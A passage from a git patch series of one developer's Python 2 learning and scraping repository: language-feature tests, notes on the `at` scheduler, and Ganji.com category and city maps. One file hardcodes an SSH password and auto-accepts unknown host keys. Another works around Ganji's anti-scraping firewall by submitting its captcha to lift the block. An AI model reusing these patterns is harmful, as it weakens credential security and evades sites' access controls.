row['province'] + # district = row['district'] + # city_info = get_area_list(city_code, city_name, province, district) + # f.write(" # %s %s %s\n" % (city_name, province, district)) + # f.write(" '%s': [\n" % city_code) + # for area in city_info['area_list']: + # f.write(" '%s', # %s\n" % (area[0], area[1])) + # f.write(" ],\n") + # f.flush() + # f.write("}\n") + f.write('city_map = [\n') for row in rows: city_code = row['city_code'] city_name = row['city_name'] province = row['province'] district = row['district'] city_info = get_area_list(city_code, city_name, province, district) - f.write(" # %s %s %s\n" % (city_name, province, district)) - f.write(" '%s': [\n" % city_code) + f.write('\t# %s %s %s\n' % (city_name, province, district)) + f.write('\t{\n') + f.write('\t\t\'code\': \'%s\',\n' % city_code) + f.write('\t\t\'name\': u\'%s\',\n' % city_name) + f.write('\t\t\'small\': [\n') + city_id = city_map_v4.get(city_code) for area in city_info['area_list']: - f.write(" '%s', # %s\n" % (area[0], area[1])) - f.write(" ],\n") + f.write('\t\t\t{\n') + f.write('\t\t\t\t\'code\': \'%s\',\n' % area[0]) + f.write('\t\t\t\t\'name\': u\'%s\',\n' % area[1]) + f.write('\t\t\t\t\'id\': %s\n' % city_id) + f.write('\t\t\t},\n') + f.write('\t\t]\n') + f.write('\t},\n') f.flush() - f.write("}\n") + f.write(']') if __name__ == '__main__': @@ -385,5 +865,5 @@ def output_city_area(): # print_city_area() # read_csv('city_map_58.csv') # write_csv('test.csv', [['一', '二', '三'], [1, 2, 3], [5, 6, 7]]) - # output_city_area() - get_cate_list('caishui', u'-') + output_city_area() + # get_cate_list('caishui', u'-') From ba60f757019252aec40cb00aecdd00024eccf75f Mon Sep 17 00:00:00 2001 From: Zhang He Date: Mon, 17 Jul 2017 16:27:10 +0800 Subject: [PATCH 10/43] =?UTF-8?q?=E6=96=B0=E5=A2=9E=E5=88=97=E8=A1=A8?= =?UTF-8?q?=E8=A7=A3=E6=9E=90=E6=B5=8B=E8=AF=95?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- test/test_list_comprehension.py | 43 +++++++++++++++++++++++++++++++++ 1 file changed, 43 insertions(+) create mode 100644 test/test_list_comprehension.py diff --git a/test/test_list_comprehension.py b/test/test_list_comprehension.py new file mode 100644 index 0000000..bd5cef7 --- /dev/null +++ b/test/test_list_comprehension.py @@ -0,0 +1,43 @@ +#!/usr/bin/env python +# encoding: utf-8 + +""" +@author: zhanghe +@software: PyCharm +@file: test_list_comprehension.py +@time: 2017/7/25 下午5:37 +""" + + +def run(): + """ + 列表解析 + {'a': 1, 'c': 3, 'b': 2, 'e': 5, 'd': 4} + [0, 1, 2, 3, 4, 5, 6, 7, 8, 9] + [] + [1, 3, 2, 5, 4] # 字典无序 + [1, 2, 3, 4, 5] + {0: 0, 1: 1, 2: 4, 3: 9, 4: 16, 5: 25, 6: 36, 7: 49, 8: 64, 9: 81} + [[0, 0], [1, 1], [2, 4], [3, 9], [4, 16], [5, 25], [6, 36], [7, 49], [8, 64], [9, 81]] + :return: + """ + A0 = dict(zip(('a', 'b', 'c', 'd', 'e'), (1, 2, 3, 4, 5))) + A1 = range(10) + A2 = [i for i in A1 if i in A0] + A3 = [A0[s] for s in A0] + A4 = [i for i in A1 if i in A3] + A5 = {i: i * i for i in A1} + A6 = [[i, i * i] for i in A1] + + print A0 + print A1 + print A2 + print A3 + print A4 + print A5 + print A6 + + +if __name__ == '__main__': + run() + pass From be784569f6b30ecb404df7da60b6c8eca4a6fe44 Mon Sep 17 00:00:00 2001 From: Zhang He Date: Tue, 18 Jul 2017 16:27:52 +0800 Subject: [PATCH 11/43] =?UTF-8?q?=E6=96=B0=E5=A2=9E=E9=9D=A2=E5=90=91?= =?UTF-8?q?=E5=AF=B9=E8=B1=A1=E6=B5=8B=E8=AF=95?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- test/test_oop.py | 84 ++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 84 insertions(+) create mode 100644 test/test_oop.py diff --git a/test/test_oop.py b/test/test_oop.py new file mode 100644 index 0000000..55da6ee --- /dev/null +++ b/test/test_oop.py @@ -0,0 +1,84 @@ +#!/usr/bin/env python +# encoding: utf-8 + +""" +@author: zhanghe +@software: PyCharm +@file: test_oop.py +@time: 2017/7/25 下午6:10 +""" + + +class A(object): + def go(self): + print "go A go!" + + def stop(self): + print "stop A stop!" + + def pause(self): + raise Exception("Not Implemented") + + +class B(A): + def go(self): + super(B, self).go() + print "go B go!" + + +class C(A): + def go(self): + super(C, self).go() + print "go C go!" + + def stop(self): + super(C, self).stop() + print "stop C stop!" + + +class D(B, C): + def go(self): + super(D, self).go() + print "go D go!" + + def stop(self): + super(D, self).stop() + print "stop D stop!" + + def pause(self): + print "wait D wait!" + + +class E(B, C): + pass + + +a = A() +b = B() +c = C() +d = D() +e = E() + +# 说明下列代码的输出结果 + +a.go() +b.go() +c.go() +d.go() +e.go() + +a.stop() +b.stop() +c.stop() +d.stop() +e.stop() + +a.pause() +b.pause() +c.pause() +d.pause() +e.pause() + + +if __name__ == '__main__': + pass From 2f5dd302e5087ca6ee493c4f3c0889550122301b Mon Sep 17 00:00:00 2001 From: Zhang He Date: Wed, 19 Jul 2017 16:28:43 +0800 Subject: [PATCH 12/43] =?UTF-8?q?=E6=96=B0=E5=A2=9Essh=E5=AE=A2=E6=88=B7?= =?UTF-8?q?=E7=AB=AF=E6=B5=8B=E8=AF=95?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- test/test_paramiko.py | 29 +++++++++++++++++++++++++++++ 1 file changed, 29 insertions(+) create mode 100644 test/test_paramiko.py diff --git a/test/test_paramiko.py b/test/test_paramiko.py new file mode 100644 index 0000000..021f710 --- /dev/null +++ b/test/test_paramiko.py @@ -0,0 +1,29 @@ +#!/usr/bin/env python +# encoding: utf-8 + +""" +@author: zhanghe +@software: PyCharm +@file: test_paramiko.py +@time: 2017/6/16 上午9:11 +""" + +import paramiko + +ip = '192.168.64.216' +username = 'zhanghe' +password = '123456' +port = 22 +# 设置记录日志 +paramiko.util.log_to_file('ssh.log') +# 生成ssh客户端实例 +s = paramiko.SSHClient() +s.set_missing_host_key_policy(paramiko.AutoAddPolicy()) +print "Starting" +s.connect(ip, port, username, password) +stdin, stdout, stderr = s.exec_command('free -m') +print stdout.read() +s.close() + +if __name__ == '__main__': + pass From 30fb2cb5189cef199cd58aa7b5e8591ef1a03186 Mon Sep 17 00:00:00 2001 From: Zhang He Date: Thu, 20 Jul 2017 16:31:29 +0800 Subject: [PATCH 13/43] =?UTF-8?q?=E5=BC=95=E7=94=A8=E6=B5=8B=E8=AF=95?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- test/test_quote.py | 57 ++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 57 insertions(+) create mode 100644 test/test_quote.py diff --git a/test/test_quote.py b/test/test_quote.py new file mode 100644 index 0000000..8bea9c3 --- /dev/null +++ b/test/test_quote.py @@ -0,0 +1,57 @@ +#!/usr/bin/env python +# encoding: utf-8 + +""" +@author: zhanghe +@software: PyCharm +@file: test_quote.py +@time: 2017/7/25 下午4:28 +""" + + +def f(x, l=[]): + """ + 引用测试 + :param x: + :param l: + :return: + """ + print l + for i in range(x): + l.append(i*i) + print l + +f(2) +f(3, [3, 2, 1]) +f(3) + + +def detail(): + """ + 详细过程 + :return: + """ + l_mem = [] + + l = l_mem # the first call + for i in range(2): + l.append(i*i) + + print l # [0, 1] + + l = [3, 2, 1] # the second call + for i in range(3): + l.append(i*i) + + print l # [3, 2, 1, 0, 1, 4] + + l = l_mem # the third call + for i in range(3): + l.append(i*i) + + print l # [0, 1, 0, 1, 4] + + +if __name__ == '__main__': + # detail() + pass From 240f6f96157acf2d9db9e5e2ad94e8d954312cf1 Mon Sep 17 00:00:00 2001 From: Zhang He Date: Sat, 22 Jul 2017 16:32:48 +0800 Subject: [PATCH 14/43] =?UTF-8?q?=E8=A3=85=E9=A5=B0=E5=99=A8=E6=B5=8B?= =?UTF-8?q?=E8=AF=95?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- test/test_wrapper.py | 78 ++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 78 insertions(+) create mode 100644 test/test_wrapper.py diff --git a/test/test_wrapper.py b/test/test_wrapper.py new file mode 100644 index 0000000..566ad00 --- /dev/null +++ b/test/test_wrapper.py @@ -0,0 +1,78 @@ +#!/usr/bin/env python +# encoding: utf-8 + +""" +@author: zhanghe +@software: PyCharm +@file: test_wrapper.py +@time: 2017/8/5 下午7:57 +""" + + +def w1(func): + def wrapper(*args, **kw): + back_func = func(*args, **kw) + print func.__name__, 'w1' + return back_func + return wrapper + + +def w2(func): + def wrapper(*args, **kw): + back_func = func(*args, **kw) + print func.__name__, 'w2' + return back_func + return wrapper + + +def w3(func): + def wrapper(*args, **kw): + back_func = func(*args, **kw) + print func.__name__, 'w3' + return back_func + return wrapper + + +@w1 +@w2 +@w3 +def func1(): + return 1 + + +@w1 +@w2 +@w3 +def func2(): + return 2 + + +@w1 +@w2 +@w3 +def func3(): + return 3 + + +@w1 +@w2 +@w3 +def fuck(func): + def wrapper(*args, **kw): + back_func = func(*args, **kw) + print func.__name__, 'fuck' + return back_func + return wrapper + + +@fuck +def test(): + return 'test' + + +if __name__ == '__main__': + # print func1() + # print func2() + # print func3() + # print test() + pass From 059657f9e08819840f08cd32fe92f424040c2725 Mon Sep 17 00:00:00 2001 From: Zhang He Date: Sun, 23 Jul 2017 16:34:05 +0800 Subject: [PATCH 15/43] =?UTF-8?q?=E6=96=B0=E5=A2=9E=E8=AE=BE=E8=AE=A1?= =?UTF-8?q?=E6=A8=A1=E5=BC=8F=E6=B5=8B=E8=AF=95?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- test/design_pattern/observer.py | 76 +++++++++++++++++++++++++++++++++ 1 file changed, 76 insertions(+) create mode 100644 test/design_pattern/observer.py diff --git a/test/design_pattern/observer.py b/test/design_pattern/observer.py new file mode 100644 index 0000000..e3006ec --- /dev/null +++ b/test/design_pattern/observer.py @@ -0,0 +1,76 @@ +#!/usr/bin/env python +# encoding: utf-8 + +""" +@author: zhanghe +@software: PyCharm +@file: observer.py +@time: 2017/6/12 下午6:06 +""" + + +class AbstractSubject(object): + def register(self, listener): + raise NotImplementedError("Must subclass me") + + def de_register(self, listener): + raise NotImplementedError("Must subclass me") + + def notify_listeners(self, event): + raise NotImplementedError("Must subclass me") + + +class Listener(object): + def __init__(self, name, subject): + self.name = name + subject.register(self) + + def notify(self, event): + print self.name, "received event", event + + +class Subject(AbstractSubject): + def __init__(self): + self.listeners = [] + self.data = None + + def get_user_action(self): + self.data = raw_input('Enter something to do:') + return self.data + + # Implement abstract Class AbstractSubject + + def register(self, listener): + self.listeners.append(listener) + + def de_register(self, listener): + self.listeners.remove(listener) + + def notify_listeners(self, event): + for listener in self.listeners: + listener.notify(event) + + +if __name__ == "__main__": + # make a subject object to spy on + subject_obj = Subject() + + # register two listeners to monitor it. + listenerA = Listener("", subject_obj) + listenerB = Listener("", subject_obj) + + # simulated event + subject_obj.notify_listeners("") + # outputs: + # received event + # received event + + action = subject_obj.get_user_action() + subject_obj.notify_listeners(action) + # Enter something to do:hello + # outputs: + # received event hello + # received event hello + + +# https://zh.wikipedia.org/wiki/观察者模式 \ No newline at end of file From 4cd05fc397361ebc63d4940ab817b3e9dac6fb19 Mon Sep 17 00:00:00 2001 From: Zhang He Date: Thu, 3 Aug 2017 22:18:04 +0800 Subject: [PATCH 16/43] =?UTF-8?q?=E6=96=B0=E5=A2=9E=E5=AE=9A=E6=97=B6?= =?UTF-8?q?=E4=BB=BB=E5=8A=A1at=E7=9A=84=E8=AF=B4=E6=98=8E?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Linux.md | 16 ++++++++++++++-- 1 file changed, 14 insertions(+), 2 deletions(-) diff --git a/Linux.md b/Linux.md index d11f72a..bcc46af 100644 --- a/Linux.md +++ b/Linux.md @@ -689,9 +689,21 @@ SELinux 全称 Security Enhanced Linux (安全强化 Linux) 关闭反向解析 ```bash -# vim /etc/ssh/sshd_config +vim /etc/ssh/sshd_config ``` 设置 UseDNS no ```bash -# service sshd restart +service sshd restart +``` + + +## at + +定时任务 +```bash +echo `date` +at now + 1 minute <<< "/bin/echo `date` > /tmp/time.log" +at now + 10 minutes <<< "/bin/echo `date` > /tmp/time.log" # 创建任务 +at -l # 列出任务 +at -c 1 # 显示任务内容 ``` From 6af6cd8d85f8ee8e82d1597c348aa12cd1fe4d60 Mon Sep 17 00:00:00 2001 From: Zhang He Date: Fri, 4 Aug 2017 22:19:12 +0800 Subject: [PATCH 17/43] =?UTF-8?q?=E6=96=B0=E5=A2=9EMAC=E7=8E=AF=E5=A2=83?= =?UTF-8?q?=E4=B8=8B=E5=AE=9A=E6=97=B6=E4=BB=BB=E5=8A=A1at=E7=9A=84?= =?UTF-8?q?=E8=AF=B4=E6=98=8E?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Mac.md | 19 +++++++++++++++++++ 1 file changed, 19 insertions(+) diff --git a/Mac.md b/Mac.md index b19d51f..7aa9d5d 100644 --- a/Mac.md +++ b/Mac.md @@ -103,3 +103,22 @@ EF0C7F72D8917DB538A0245E46BFD6B1 ✗ sudo mv Install\ macOS\ Sierra.app ~/tools/ ``` 然后可以制作U盘启动盘 + + +## at + +Mac 环境下,必须先启动 atrun (默认是关闭的) +```bash +man atrun # 查看文档 +sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.atrun.plist # 开启服务 +sudo launchctl unload -w /System/Library/LaunchDaemons/com.apple.atrun.plist # 关闭服务 +``` + +定时任务 +```bash +echo `date` +at now + 1 minute <<< "/bin/echo `date` > /tmp/time.log" +at now + 10 minutes <<< "/bin/echo `date` > /tmp/time.log" # 创建任务 +at -l # 列出任务 +at -c 1 # 显示任务内容 +``` From 0688ea59e560f47244408600595681a9f80e81ff Mon Sep 17 00:00:00 2001 From: Zhang He Date: Sat, 5 Aug 2017 22:22:35 +0800 Subject: [PATCH 18/43] =?UTF-8?q?=E6=96=B0=E5=A2=9E=E8=B5=B6=E9=9B=86?= =?UTF-8?q?=E7=BD=91=E6=8A=93=E5=8F=96=E9=AA=8C=E8=AF=81=E7=A0=81=E5=A4=84?= =?UTF-8?q?=E7=90=86?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- fuck/ganji_callback.py | 99 ++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 99 insertions(+) create mode 100644 fuck/ganji_callback.py diff --git a/fuck/ganji_callback.py b/fuck/ganji_callback.py new file mode 100644 index 0000000..aba2636 --- /dev/null +++ b/fuck/ganji_callback.py @@ -0,0 +1,99 @@ +#!/usr/bin/env python +# encoding: utf-8 + +""" +@author: zhanghe +@software: PyCharm +@file: ganji_callback.py +@time: 2017/8/18 下午4:18 +""" + + +import time +import lxml.html +import requests +from urlparse import urljoin + +from requests.exceptions import Timeout + + +header = { + 'Host': 'callback.ganji.com', + 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36' +} + + +s = requests.session() + + +callback_url = 'http://callback.ganji.com/firewall/valid/1709685058.do?namespace=ganji_hy_list_pc&url=http%3A%2F%2Fanshan.ganji.com%2Fbanjia%2F' + + +def fuck(): + r_g = s.get(callback_url) + html = r_g.text + doc = lxml.html.fromstring(html) + + # 获取页面隐藏域表单 + uuid = doc.xpath('//input[@id="uuid"]/@value')[0].strip() + url = doc.xpath('//input[@id="url"]/@value')[0].strip() + namespace = doc.xpath('//input[@id="namespace"]/@value')[0].strip() + ip = doc.xpath('//input[@id="ip"]/@value')[0].strip() + + # 获取验证码图片 + img_url_text = doc.xpath('//img[@id="verify_img"]/@src')[0].strip() + img_url = urljoin(callback_url, img_url_text) + print img_url + + # 保存验证码图片 + img_name = 'ganji_%s.jpg' % uuid + img_content = s.get(img_url).content + with open(img_name, 'w') as f: + f.write(img_content) + time.sleep(5) + + verify_code = raw_input('verify_code') + + print uuid + print url + print namespace + print ip + print r_g.cookies.__dict__ + data = { + 'namespace': namespace, + 'uuid': uuid, + 'url': url, + 'verify_code': verify_code + } + r_p = s.post(callback_url, data=data) + r_p_json = r_p.json() # {"msg":"验证码过期.","code":-1} + print r_p_json + if r_p_json.get('code') == 0: + print u'识别成功' + else: + print r_p_json.get('msg') + + +if __name__ == '__main__': + fuck() + + +""" +# 获取页面隐藏域表单 + + + + + +# 查看出口IP +➜ ~ curl ifconfig.me +101.231.185.66 + +# 验证IP +In [1]: 101*256*256*256 + 231*256*256 + 185*256 + 66 +Out[1]: 1709685058 + +买一送一,童叟无欺 +58也是一样的: +http://callback.58.com/firewall/valid/920593415.do?namespace=huangyedetailpc&url=http%3A%2F%2Finfodetail1.58.com%2Fsz%2Fjisuanji%2F27978971970226x.shtml +""" From 2bd2b4967df20b92de761edcc85e9f0b2da5ad11 Mon Sep 17 00:00:00 2001 From: Zhang He Date: Sun, 6 Aug 2017 23:06:20 +0800 Subject: [PATCH 19/43] =?UTF-8?q?=E6=96=B0=E5=A2=9E=E8=B5=B6=E9=9B=86?= =?UTF-8?q?=E7=BD=91=E5=9F=8E=E5=B8=82=E5=88=86=E7=B1=BB=E6=8A=93=E5=8F=96?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- fuck/ganji_huangye.py | 700 ++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 700 insertions(+) create mode 100644 fuck/ganji_huangye.py diff --git a/fuck/ganji_huangye.py b/fuck/ganji_huangye.py new file mode 100644 index 0000000..e81b48b --- /dev/null +++ b/fuck/ganji_huangye.py @@ -0,0 +1,700 @@ +#!/usr/bin/env python +# encoding: utf-8 + +""" +@author: zhanghe +@software: PyCharm +@file: ganji_huangye.py +@time: 2017/8/16 上午10:37 +""" + + +import lxml.html +import requests + + +header_cate = { + 'Host': 'sh.ganji.com', + 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36' +} + +header_city = { + 'Host': 'www.ganji.com', + 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36' +} + +s = requests.session() + + +cate_map = { + # 电脑维修 http://sh.ganji.com/weixiu/ + 'diannaoweixiu': '(138)', # 台式机维修 + 'bijiben': '(138)', # 笔记本维修 + 'sujuhuifu': '(183),(138)', # 数据恢复 + 'xianshiqiweixiu': '(138)', # 电脑显示器维修 + 'pingbanweixiu': '(138)', # ipad/平板电脑维修 + 'serverweixiu': '(138)', # 服务器维修/维护 + 'wangluoweixiu': '(138)', # 网络维修 + 'xitonganzhuang': '(138)', # 系统安装 + 'itwaibaowx': '(138)', # it外包 + 'diannaozujianwx': '(138)', # 电脑组件维修 + 'qitaweixiu': '(138)', # 其他电脑维修 + + # 手机维修 http://sh.ganji.com/shumashoujiweixiu/ + # 220 | 手机维修 + # 262 | 影音家电维修 + 'shoujiweixiu': '(220)', # 手机维修 + 'pingguoshoujiweixiu': '(220)', # 苹果 + 'sanxingshoujiweixiu': '(220)', # 三星 + 'nuojiyashoujiweixiu': '(220)', # 诺基亚 + 'htcshoujiweixiu': '(220)', # HTC + 'motuoluolashoujiweixiu': '(220)', # 摩托罗拉 + 'suoaishoujiweixiu': '(220)', # 索爱 + 'heimeishoujiweixiu': '(220)', # 黑莓 + 'lgshoujiweixiu': '(220)', # LG + 'guochanshoujiweixiu': '(220)', # 国产 + 'xiapushoujwx': '(220)', # 夏普 + 'duopudashoujwx': '(220)', # 多普达 + 'lianxiangshoujwx': '(220)', # 联想 + 'xiaomiweixiu': '(220)', # 小米 + 'meizuweixiu': '(220)', # 魅族 + 'huaweiweixiu': '(220)', # 华为 + 'zteweixiu': '(220)', # 中兴 + 'coolpadweixiu': '(220)', # 酷派 + 'tianyuweixiu': '(220)', # 天语 + 'jinliweixiu': '(220)', # 金立 + + + 'shumaweixiu': '(262)', # 数码维修 + 'shumaxiangjiwx': '(262)', # 数码相机维修 + 'shexiangjiwx': '(262)', # 摄像机维修 + 'danfanwx': '(262)', # 单反相机/单反配件维修 + 'dandianwx': '(262)', # 单电/微单相机维修 + 'youxijiwx': '(262)', # 游戏机维修 + 'shumaxiangkuangwx': '(262)', # 数码相框维修 + 'qitashumaweixiu': '(262)', # 其他数码维修 + + 'zufang': '(224)', # 房屋租赁 + 'fang1': '(224)', # 房屋租赁 + + # 家政 + 'yuesao': '(124),(301)', # 月嫂 + 'baomu': '(125),(301)', # 保姆 + 'zhongdiangong': '(126),(301)', # 钟点工 + 'peihugong': '(129),(301)', # 护工 + 'shewaijiazheng': '(128)', # 涉外家政 + 'yuyingshi': '(130)', # 育婴师/育儿嫂 + 'jiazhengcuiru': '(127)', # 催乳师 + 'guanjia': '(301)', # 管家 + 'jujiayanglao': '(129),(301)', # 居家养老 + 'yanglaoyuan': '(129),(301)', # 养老院 + 'jiazhengqita': '(126),(301)', # 其他家政服务 + + # 保洁 + 'jiatingbaojie': '(131)', # 家庭保洁 + 'gongchengbaojie': '(132)', # 公司保洁 + 'kaihuangbaojie': '(131),(133)', # 家庭开荒保洁 + 'gongchengkaihuang': '(132),(133)', # 工程开荒保洁 + 'shangchangkaihuang': '(132),(133)', # 商场开荒保洁 + 'changfangkaihuang': '(132),(133)', # 厂房开荒保洁 + 'yiyuankaihuang': '(132),(133)', # 医院开荒保洁 + 'chuchongchuyi': '(134)', # 除虫除蚁 + 'kongqijinghua': '(182)', # 空气净化 + 'shicaifanxin': '(135)', # 石材翻新> + 'bizhiqingxi': '(135)', # 壁纸清洗 + 'gaokongqingxi': '(136)', # 高空清洗 + 'zhanhuibaojie': '(132)', # 展会保洁 + 'dengjuqingxi': '(137)', # 灯具清洗 + 'qitabaojie': '(131),(132),(200),(296)', # 其他保洁 + + # 搬家 + 'zhuzhaibanjia': '(106)', # 居民搬家 + 'jinbeixiaomianbanjia': '(335)', # 金杯/小面搬家 + 'bangongshibanjia': '(107)', # 办公室搬家 + 'qizhongdiaozhuang': '(110)', # 起重吊装 + 'changtubanjia': '(108)', # 长途搬家 + 'shebeibanqian': '(109)', # 设备搬迁> + 'duantulahuo': '(335)', # 短途拉货> + 'gangqinbanyun': '(111)', # 钢琴搬运 + 'chaizhuangjiaju': '(114)', # 家具拆装 + 'kongtiaochaizhuang': '(112)', # 空调移机 + 'guojibanjia': '(252)', # 国际搬家 + 'qitabanjia': '(106),(107)', # 其他搬家 + + # 装修 + 'jiatingzhuangxiu': '(100),(199),(197),(101)', # 家庭装修 + 'bangongshizhuangxiu': '(192),(193)', # 办公室装修 + 'dianmianzhuangxiu': '(195),(196)', # 店面装修 + 'jubuzhuangxiui': '(193),(197)', # 局部装修 + 'bieshuzhuangxiu': '(191)', # 别墅装修 + 'fangwugaizao': '(104)', # 房屋改造 + 'ershoufangfanxin': '(105)', # 二手房翻新 + 'zhuangshisheji': '(103)', # 装修设计 + 'shangyezhuangxiu': '(195),(102)', # 商业装修 + 'diping': '(198)', # 地坪 + 'qitazhuangxiu': '(103)', # 其他 + + # 家电维修 + 'bingxiangweixiu': '(141),(263)', # 冰箱维修 + 'dianshijiweixiu': '(141),(264)', # 电视机维修 + 'kongtiaoyiji': '(141),(294)', # 空调移机 + 'kongtiaoweixiu': '(141),(294)', # 空调维修 + 'kongtiaoqingxi': '(141),(294)', # 空调清洗 + 'xiyijiweixiu': '(265)', # 洗衣机维修 + 'reshuiqiweixiu': '(266)', # 热水器维修 + 'lengku': '(141)', # 冷库安装/维修 + 'yinshuijiweixiu': '(141)', # 饮水机维修 + 'bigualuweixiu': '(141)', # 壁挂炉维修 + 'jingshuijiweixiu': '(141)', # 净水机维修 + 'yinxiangweixiu': '(141),(262)', # 音响/功放维修 + 'diandongcheweixiu': '(141)', # 电动车维修 + 'taiyangnengweixiu': '(141)', # 太阳能维修 + 'xiaojiadianweixiu': '(141)', # 小家电维修 + 'chufangdianqiweixiu': '(141)', # 厨房电器维修 + 'zhongyangkongtiaoweixiu': '(141),(294)', # 中央空调维修 + 'qitajiadianweixiu': '(141)', # 其他 + + # 物流 + 'tongchengkuaidi': '(335)', # 同城快递 + 'guoneikuaidi': '(335)', # 国内快递 + 'guojikuaidi': '(335),(252)', # 国际快递 + 'xiaojianwuliu': '(335)', # 小件物流 + 'guoneiwuliu': '(335)', # 国内物流 + 'guojiwuliu': '(335),(252)', # 国际物流 + 'baoguan': '(335)', # 报关 + 'cangchu': '(335)', # 仓储 + 'huowuyunshu': '(335)', # 货物运输 + 'baocheyunshu': '(335)', # 包车运输 + 'huoyundaili': '(335)', # 货运代理 + 'tuoyun': '(335)', # 托运 + 'qitawuliu': '(335)', # 其他 + + # 房屋维修 + 'menchuangweixiu': '(143),(309)', # 门窗维修/安装 + 'fangshuibulou': '(310),(185)', # 防水补漏 + 'dianluweixiu': '(143)', # 电路维修/安装 + 'weiyujiejuwx': '(143)', # 卫浴洁具维修 + 'nuanqishuiguanwx': '(310),(185)', # 暖气水管维修/安装 + 'dengjuanzhuangwx': '(143)', # 灯具维修/安装 + 'shuiguanshuilongtouwx': '(310),(185)', # 水管/水龙头维修 + 'fenshuafangfu': '(311)', # 粉刷/防腐 + 'qitajiajuweixiu': '(143)', # 其他家居维修 + +} + + +city_map = { + 'anshan': 2103, # 鞍山 + 'anyang': 4105, # 安阳 + 'anqing': 3408, # 安庆 + 'ankang': 6109, # 安康 + 'akesu': 6529, # 阿克苏 + 'anshun': 5204, # 安顺 + 'aletai': 6543, # 阿勒泰 + 'alashan': 15, # 阿拉善 + 'aba': 5132, # 阿坝 + 'ali': 5425, # 阿里 + 'alaer': 6545, # 阿拉尔 + 'aomen': 82, # 澳门 + 'bj': 11, # 北京 + 'baoding': 1306, # 保定 + 'binzhou': 3716, # 滨州 + 'baotou': 1502, # 包头 + 'baoji': 6103, # 宝鸡 + 'benxi': 2105, # 本溪 + 'bengbu': 3403, # 蚌埠 + 'beihai': 4505, # 北海 + 'bayannaoer': 1508, # 巴彦淖尔 + 'baicheng': 2208, # 白城 + 'baishan': 2206, # 白山 + 'bozhou': 3416, # 亳州 + 'bazhong': 5119, # 巴中 + 'baiyin': 6204, # 白银 + 'baise': 4510, # 百色 + 'bijie': 5224, # 毕节 + 'bayinguoleng': 6528, # 巴音郭楞 + 'baoshan': 5305, # 保山 + 'boertala': 6527, # 博尔塔拉 + 'cd': 5101, # 成都 + 'cq': 50, # 重庆 + 'cs': 4301, # 长沙 + 'cc': 2201, # 长春 + 'changzhou': 3204, # 常州 + 'cangzhou': 1309, # 沧州 + 'chifeng': 1504, # 赤峰 + 'chengde': 1308, # 承德 + 'changde': 4307, # 常德 + 'changzhi': 1404, # 长治 + 'chenzhou': 4310, # 郴州 + 'chuzhou': 3411, # 滁州 + 'chaohu': 3414, # 巢湖 + 'chaozhou': 4451, # 潮州 + 'changji': 6523, # 昌吉 + 'chizhou': 3417, # 池州 + 'chuxiong': 5323, # 楚雄 + 'chongzuo': 4514, # 崇左 + 'changdu': 5421, # 昌都 + 'chaoyang': 2113, # 朝阳 + 'changshu': 3219, # 常熟 + 'cixi': 3302, # 慈溪 + 'dl': 2102, # 大连 + 'dg': 4419, # 东莞 + 'dezhou': 3714, # 德州 + 'dongying': 3705, # 东营 + 'daqing': 2306, # 大庆 + 'datong': 1402, # 大同 + 'dandong': 2106, # 丹东 + 'danzhou': 4605, # 儋州 + 'deyang': 5106, # 德阳 + 'dazhou': 5117, # 达州 + 'dali': 5329, # 大理 + 'daxinganling': 2327, # 大兴安岭 + 'dingxi': 6211, # 定西 + 'dehong': 5331, # 德宏 + 'diqing': 5334, # 迪庆 + 'eerduosi': 1506, # 鄂尔多斯 + 'enshi': 4228, # 恩施 + 'ezhou': 4207, # 鄂州 + 'fz': 3501, # 福州 + 'foshan': 4406, # 佛山 + 'fushun': 2104, # 抚顺 + 'fuyang': 3412, # 阜阳 + 'fuxin': 2109, # 阜新 + 'jxfuzhou': 3610, # 抚州 + 'fangchenggang': 4506, # 防城港 + 'gz': 4401, # 广州 + 'gy': 5201, # 贵阳 + 'gl': 4503, # 桂林 + 'ganzhou': 3607, # 赣州 + 'guangyuan': 5108, # 广元 + 'guangan': 5116, # 广安 + 'guigang': 4508, # 贵港 + 'guyuan': 6404, # 固原 + 'gannan': 6230, # 甘南 + 'ganzi': 5133, # 甘孜 + 'guoluo': 6326, # 果洛 + 'hz': 3301, # 杭州 + 'huizhou': 4413, # 惠州 + 'hrb': 2301, # 哈尔滨 + 'hf': 3401, # 合肥 + 'nmg': 1501, # 呼和浩特 + 'hn': 4601, # 海口 + 'handan': 1304, # 邯郸 + 'heze': 3717, # 菏泽 + 'hengshui': 1311, # 衡水 + 'huaian': 3208, # 淮安 + 'hengyang': 4304, # 衡阳 + 'huludao': 2114, # 葫芦岛 + 'huainan': 3404, # 淮南 + 'hanzhong': 6107, # 汉中 + 'huaihua': 4312, # 怀化 + 'huaibei': 3406, # 淮北 + 'huanggang': 4211, # 黄冈 + 'huzhou': 3305, # 湖州 + 'huangshi': 4202, # 黄石 + 'hulunbeier': 1507, # 呼伦贝尔 + 'heyuan': 4416, # 河源 + 'hebi': 4106, # 鹤壁 + 'hegang': 2304, # 鹤岗 + 'huangshan': 3410, # 